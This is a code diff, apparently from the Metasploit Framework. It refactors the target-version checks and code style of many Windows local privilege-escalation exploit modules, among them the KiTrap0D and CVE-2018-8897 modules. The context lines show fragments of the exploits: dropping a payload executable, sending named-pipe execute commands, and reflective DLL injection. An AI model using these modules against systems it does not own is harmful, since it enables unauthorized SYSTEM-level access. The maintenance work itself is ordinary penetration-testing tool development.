end
|
||||
|
|
|
@ -89,7 +89,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
|
||||
|
@ -106,7 +105,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1909)
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
|
||||
end
|
||||
|
||||
|
@ -151,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def check_target_is_running_supported_windows_version
|
||||
if sysinfo['OS'].match('Windows').nil?
|
||||
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
|
||||
elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
|
||||
elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease
|
||||
fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -62,17 +62,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
version = get_version_info
|
||||
vprint_status("Windows Build Number = #{version.build_number}")
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /10/ && (build_num >= 18362 && build_num <= 18363)
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909)
|
||||
print_error('The exploit only supports Windows 10 versions 1903 - 1909')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -44,7 +44,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
|
@ -169,10 +173,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
|
||||
version = get_version_info
|
||||
|
||||
vprint_status("OS version: #{version}")
|
||||
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -71,8 +71,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -150,10 +150,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041)
|
||||
version = get_version_info
|
||||
vprint_status("OS version: #{version}")
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_2004)
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Version
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Windows::Powershell
|
||||
|
||||
|
@ -174,10 +175,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
|
||||
version = get_version_info
|
||||
vprint_status("OS version: #{version}")
|
||||
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -112,8 +112,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
|
||||
end
|
||||
|
|
|
@ -50,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
|
@ -65,9 +66,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -82,15 +81,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def target_compatible?
|
||||
sysinfo_value = sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
|
||||
return true if sysinfo_value =~ /Windows 7/ && ((build_num == 7600) || (build_num == 7601))
|
||||
return true if sysinfo_value =~ /Windows 8\.1/ && (build_num == 9600)
|
||||
return true if sysinfo_value =~ /Windows 10/ && (build_num >= 14393 && build_num <= 19043)
|
||||
return true if sysinfo_value =~ /Windows 2016/ && (build_num >= 14393 && build_num <= 19043)
|
||||
vprint_status("OS version: #{version}")
|
||||
return true if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
|
||||
return true if version.build_number == Msf::WindowsVersion::Win81 && version.workstation?
|
||||
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_21H1)
|
||||
|
||||
false
|
||||
end
|
||||
|
|
|
@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Version
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
@ -73,13 +74,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
|
||||
end
|
||||
|
||||
version_info = get_version_info
|
||||
unless version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H1) ||
|
||||
version_info.build_number == Msf::WindowsVersion::Server2022 ||
|
||||
version_info.build_number == Msf::WindowsVersion::Win11_21H1
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
|
||||
end
|
||||
|
||||
build_num_raw = cmd_exec('cmd.exe /c ver')
|
||||
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
|
||||
if build_num.nil?
|
||||
|
@ -89,11 +95,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status("Target's build number: #{build_num}")
|
||||
end
|
||||
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
|
||||
end
|
||||
|
||||
build_num_gemversion = Rex::Version.new(build_num)
|
||||
|
||||
# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
|
||||
|
|
|
@ -89,22 +89,21 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
|
||||
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)
|
||||
print_error('The exploit only supports Windows 10 versions 1803 - 21H2')
|
||||
version = get_version_info
|
||||
vprint_status("Windows Build Number = #{version.product_name}")
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2)
|
||||
CheckCode::Appears
|
||||
elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2
|
||||
CheckCode::Detected("May be vulnerable, but exploit not tested on #{version.product_name}")
|
||||
else
|
||||
print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -90,19 +90,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
s_info = sysinfo['OS']
|
||||
unless s_info =~ /windows/i
|
||||
unless session.platform == 'windows'
|
||||
return CheckCode::Safe('This module only supports Windows targets.')
|
||||
end
|
||||
|
||||
_major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
|
||||
version = get_version_info
|
||||
|
||||
case s_info
|
||||
when /windows 7/i
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1)
|
||||
return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.')
|
||||
when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter
|
||||
return CheckCode::Appears if build <= 18362
|
||||
return CheckCode::Appears if revision < 1526
|
||||
elsif version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) ||
|
||||
version.build_number == Msf::WindowsVersion::Server2022 ||
|
||||
version.build_number == Msf::WindowsVersion::Win11_21H2
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
|
@ -129,9 +128,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def target_is_server?
|
||||
s_info = sysinfo['OS']
|
||||
|
||||
s_info =~ /server/i || s_info =~ /\d{4}\+/
|
||||
version = get_version_info
|
||||
version.windows_server?
|
||||
end
|
||||
|
||||
# Windows usually has Print to PDF or XPS Document Writer
|
||||
|
|
|
@ -91,7 +91,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H2) ||
|
||||
version.build_number == Msf::WindowsVersion::Win11_21H2 ||
|
||||
version.build_number == Msf::WindowsVersion::Server2022
|
||||
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
|
||||
end
|
||||
|
||||
|
@ -129,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11
|
||||
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022
|
||||
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
|
||||
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2
|
||||
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
|
||||
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1
|
||||
|
@ -196,8 +199,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def check_target_is_running_supported_windows_version
|
||||
if !sysinfo['OS'].include?('Windows')
|
||||
fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
|
||||
elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server 2022')
|
||||
fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...')
|
||||
elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease
|
||||
fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
|
||||
version = get_version_info
|
||||
if version.windows_server?
|
||||
vprint_good('OS seems vulnerable.')
|
||||
else
|
||||
vprint_error('OS is not vulnerable!')
|
||||
|
|
|
@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows', {} ]
|
||||
|
@ -64,9 +64,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = sysinfo['OS']
|
||||
|
||||
unless os =~ /windows/i
|
||||
unless session.platform == 'windows'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -122,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def is_running?
|
||||
begin
|
||||
status = service_status('iPlatformService')
|
||||
rescue RuntimeError => e
|
||||
rescue RuntimeError
|
||||
print_error('Unable to retrieve service status')
|
||||
return false
|
||||
end
|
||||
|
@ -135,15 +133,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, 'Session is already elevated')
|
||||
end
|
||||
|
||||
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
|
||||
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
|
||||
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
|
||||
fail_with(Failure::NoTarget, '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
|
||||
else
|
||||
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
|
||||
print_status('Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...')
|
||||
end
|
||||
|
||||
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
|
||||
if datastore['WritableDir'] && !datastore['WritableDir'].empty?
|
||||
temp_dir = datastore['WritableDir']
|
||||
else
|
||||
temp_dir = client.sys.config.getenv('TEMP')
|
||||
|
@ -160,7 +158,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
print_status('Writing malicious exe to remote filesystem')
|
||||
write_path = pwd
|
||||
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
|
||||
exe_name = "#{rand_text_alpha(rand(10..19))}.exe"
|
||||
|
||||
begin
|
||||
write_file(exe_name, generate_payload_exe)
|
||||
|
|
|
@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows', {} ]
|
||||
|
@ -70,9 +70,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = sysinfo['OS']
|
||||
|
||||
unless os =~ /windows/i
|
||||
unless session.platform == 'windows'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -146,7 +144,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status('Giving the service some time to start...')
|
||||
Rex.sleep(datastore['Sleep'])
|
||||
|
||||
print_status("Getting security token...")
|
||||
print_status('Getting security token...')
|
||||
token = get_security_token(su_directory)
|
||||
vprint_good("Security token is: #{token}")
|
||||
|
||||
|
@ -166,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
print_status('Writing malicious exe to remote filesystem')
|
||||
write_path = pwd
|
||||
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
|
||||
exe_name = "#{rand_text_alpha(rand(10..19))}.exe"
|
||||
|
||||
begin
|
||||
write_file(exe_name, generate_payload_exe)
|
||||
|
@ -178,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status('Sending Execute command to update service')
|
||||
|
||||
begin
|
||||
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
|
||||
write_res = write_named_pipe('\\\\.\\pipe\\SUPipeServer', "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
|
|
@ -77,8 +77,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def setup
|
||||
super
|
||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
||||
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
||||
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
|
||||
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
|
||||
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
|
@ -88,12 +88,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def validate_active_host
|
||||
begin
|
||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||
end
|
||||
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
raise Msf::Exploit::Failed, 'Could not connect to session'
|
||||
end
|
||||
|
||||
def validate_remote_path(path)
|
||||
|
@ -106,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if sysinfo['Architecture'] != ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
||||
end
|
||||
if sysinfo['OS'] =~ /XP/
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)
|
||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
||||
end
|
||||
end
|
||||
|
@ -151,56 +150,45 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit_dll
|
||||
begin
|
||||
print_status('Checking target...')
|
||||
validate_active_host
|
||||
validate_target
|
||||
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
|
||||
encoded_payload
|
||||
)
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
print_error(e.message)
|
||||
end
|
||||
print_status('Checking target...')
|
||||
validate_active_host
|
||||
validate_target
|
||||
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
|
||||
encoded_payload
|
||||
)
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
print_error(e.message)
|
||||
end
|
||||
|
||||
def exploit_exe
|
||||
begin
|
||||
validate_remote_path(temp_path)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
upload_exploit
|
||||
upload_payload
|
||||
execute_exploit
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
print_error(e.message)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
end
|
||||
validate_remote_path(temp_path)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
upload_exploit
|
||||
upload_payload
|
||||
execute_exploit
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
elog(e)
|
||||
print_error(e.message)
|
||||
ensure_clean_exploit_destination
|
||||
ensure_clean_payload_destination
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
validate_active_host
|
||||
validate_target
|
||||
if datastore['USE_INJECTION']
|
||||
exploit_dll
|
||||
else
|
||||
exploit_exe
|
||||
end
|
||||
validate_active_host
|
||||
validate_target
|
||||
if datastore['USE_INJECTION']
|
||||
exploit_dll
|
||||
else
|
||||
exploit_exe
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :exploit_name
|
||||
attr_reader :payload_name
|
||||
attr_reader :payload_exe
|
||||
attr_reader :temp_path
|
||||
attr_reader :payload_path
|
||||
attr_reader :exploit_path
|
||||
attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path
|
||||
end
|
||||
|
|
|
@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DisclosureDate' => '2014-07-22',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ]
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
|
@ -97,11 +97,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo['OS']
|
||||
case os
|
||||
when /windows xp.*service pack 3/i
|
||||
version = get_version_info
|
||||
if version.build_number == Msf::WindowsVersion::XP_SP3
|
||||
return Exploit::CheckCode::Appears
|
||||
when /windows xp/i
|
||||
elsif version.xp_or_2003? && !version.windows_server?
|
||||
vprint_error('Unsupported version of Windows XP detected')
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
|
@ -122,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Running on Windows XP versions that aren't listed in the supported list
|
||||
# results in a BSOD and so we should not let that happen.
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
|
||||
end
|
||||
|
||||
base_addr = 0xffff
|
||||
|
|
|
@ -11,49 +11,51 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
|
||||
'Description' => %q{
|
||||
This module will create a new session with SYSTEM privileges via the
|
||||
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
|
||||
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
|
||||
and is not supported on x64 editions of Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
|
||||
'Description' => %q{
|
||||
This module will create a new session with SYSTEM privileges via the
|
||||
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
|
||||
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
|
||||
and is not supported on x64 editions of Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Tavis Ormandy', # Original resesarcher and exploit creator
|
||||
'HD Moore', # Port of Tavis' code to meterpreter module
|
||||
'Pusscat', # Port of Tavis' code to meterpreter module
|
||||
'OJ Reeves' # Port of meterpreter code to a windows local exploit
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'CVE', '2010-0232' ],
|
||||
[ 'OSVDB', '61854' ],
|
||||
[ 'MSB', 'MS10-015' ],
|
||||
[ 'EDB', '11199' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ]
|
||||
],
|
||||
'DisclosureDate'=> '2010-01-19'
|
||||
))
|
||||
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'CVE', '2010-0232' ],
|
||||
[ 'OSVDB', '61854' ],
|
||||
[ 'MSB', 'MS10-015' ],
|
||||
[ 'EDB', '11199' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ]
|
||||
],
|
||||
'DisclosureDate' => '2010-01-19'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# Validate platform architecture
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# Validate OS version
|
||||
winver = sysinfo["OS"]
|
||||
unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP1)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -66,17 +68,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
